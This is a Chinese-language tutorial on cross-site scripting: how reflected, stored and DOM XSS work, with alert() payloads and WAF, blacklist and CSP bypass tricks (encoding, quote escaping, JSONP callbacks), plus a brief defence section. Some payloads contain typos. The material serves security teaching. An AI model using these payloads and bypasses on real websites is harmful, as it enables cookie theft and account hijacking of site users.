3-XSS渗透与防御
客户端的 Cookie: 记录登录状态,跟踪用户行为
服务端的 Session
JavaScript 操作 Cookie
获取和设置:
document.cookie; |
无法删除,只能通过更改过期时间删除。
脚本注入网页:XSS (Cross Site Script)
<script>alert(1)</script> |
反射型 XSS

存储型(持久型)XSS

实例:获取 Cookie 发送邮件
var img = document.createElement(‘img’); |
XSS 检测和利用
测试 payload
<script>alert(‘XSS’)</script> |
SVG 标签会将 XML 实体解析后加入标签,eval 函数能够接受十六进制的字符串,可用于绕过一些符号过滤。
<svg><script>prompt%#x28;1)</script></svg> |
自动化检测工具
XSSER: xsser.03c8.net
XSSSTRIKE
XSS 防御方法
反射型 XSS
恶意代码未被服务器储存,每次触发漏洞时,都将恶意代码通过 GET/POST 方式提交,用户输入的内容被直接输出在 HTML 中,然后触发漏洞。
若注入点在标签内部,则不需要插入标签。例如 script 标签内部,可以直接插入 javascript 语句,类似 SQL 注入,先闭合引号,再注释后面的引号。
其他标签内,可以先闭合引号,再插入可以执行 javascript 代码的属性进行 XSS 攻击。
存储型 XSS
与反射型基本思路相同,都是在后端未对用户输入进行过滤导致的漏洞,但存储型 XSS 将用户输入保存在数据库或其他的服务器存储中,只要服务保存了 XSS 代码,便可造成持续性的影响,相比之下更具威胁性。
在实际环境中,常见于用户发的帖子或个人信息等页面,其他用户访问时便触发 XSS。
DOM (Document Obect Model, 文档对象模型) 型 XSS
漏洞发生于前端而非后端,前端将用户输入直接写入到了 HTML 中。Javascript 具有操作 DOM 的功能,可以提取用户的输入,直接插入到 DOM 中,造成 XSS。
payload 与反射/存储型相同,如name=___MASK_0___
注意,只有 document.write () 函数才会执行 script 标签内的代码,而通过修改 DOM 属性 innerHTML 插入 HTML 内容不会执行其中 script 标签内代码,但可以通过插入<img scr=x onerror=alert(1)>的方法执行类似 onerror 属性中的 javascript 代码。
可以用于执行 XSS 的标签
- 几乎所有的标签 on 事件,如
<h1 onmousemove=“alert(1)”>hello</h1>
另一个常见的是 img 标签的 onerror 属性
<iframe src=“javascript:alert(1)”></frame> |
参考 portswigger.net/web-security/cross-site-scripting/cheat-sheet
- HTML5 特性的 XSS,参考 www.html5sec.org
很多标签的 on 属性需要用户交互才能完成触发,如<input onfocus=‘alert(1)>,输入框获得焦点后才能触发 alert (1)
但 HTML5 的 autofocus 可以自动实现聚焦,让需要交互的 XSS 变成了无需交互的 XSS,降低了成本。
<input onfocus=‘alert(1)’ autofocus> |
- javascript 伪协议
如javascript:void(0)中,”javascript:”表示 javascript 伪协议,它是由 javascript 引擎来执行的,如
<a href=“javascript:alert(1)”>click here</a> |
iframe 标签也可以使用 javascript 伪协议,实现自动触发,如
<iframe src=“javascript:alert(1)”> |
防御
过滤主要有 WAF 层和代码层,WAF 层通常在外部,在主机或网络硬件上对 HTTP 请求进行过滤拦截,而代码层是在编写 web 应用的过程中实现对用户输入进行过滤。
但 javascript 语法非常灵活,所以对于普通的正则匹配和字符串比较,很难拦截 XSS。
-
富文本过滤
大多数富文本编辑器都允许用户直接编辑 HTML,从而引入了 XSS 漏洞。常见过滤方式是对用户输入的标签进行限制,我们可以寻找黑名单中遗漏的标签。
参考 portswigger.net/web-security/cross-site-scripting/cheat-sheet
如果过滤器本身存在缺陷,如将黑名单替换为空,则可以采用双写绕过。 -
注入点在标签属性中
如果没有过滤<和>,可以直接引入新的标签,如果尖括号被过滤,可以插入新的事件属性,如 onload, onmousemove。
标签的字段支持 HTML 编码,可以借此绕过一些过滤。如:
<img scr=x onerror=“aler(1)”> |
onerror 内内容即 alert (1) 进行 HTML 编码后的结果。
- 注入点在 script 标签中
如果注入点被引号包裹,可以像 SQL 注入一样,先闭合引号,再用分号结束语句,然后插入代码。
如果引号被过滤,且一行存在两个注入点:
var url=‘http://example.com/?name=<?=$name?>’+’<?=$address?>’
可以用反斜杠使第一个反引号被转义,从第二个引号开始插入代码:
var url=‘http://example.com/?name=\‘+’;alert(1);\\
\是 name 的值,;alert (1);\是 address 的值。
如果存在单词黑名单,如不允许出现 eval 等字符,可以用 unicode 编码绕过。
\u0065\u0076\u0061\u006c(‘alert(1)’) |
- CSP 过滤及其绕过
CSP (Content Security Policy) 是一个额外的安全层,用于检测并缓解某些特定类型的注入,包括 XSS 和数据注入等。
![]()
绕过 script-scr ‘self’, self 意味着只允许加载同域名目录下的脚本,所以我们可以寻找文件上传或 jsonp 借口。
需要注意的是,如果是图片上传接口,即访问资源时的 Content-Type 为 image/png, 浏览器会拒绝将其作为脚本执行。
jsonp 接口一般采用?callback=xxx 的方式传参,如xxx({“result”:”success”})
此时若传callback=alert(1);//,就会产生这样的返回:
alert(1);//({“result”:”success”})
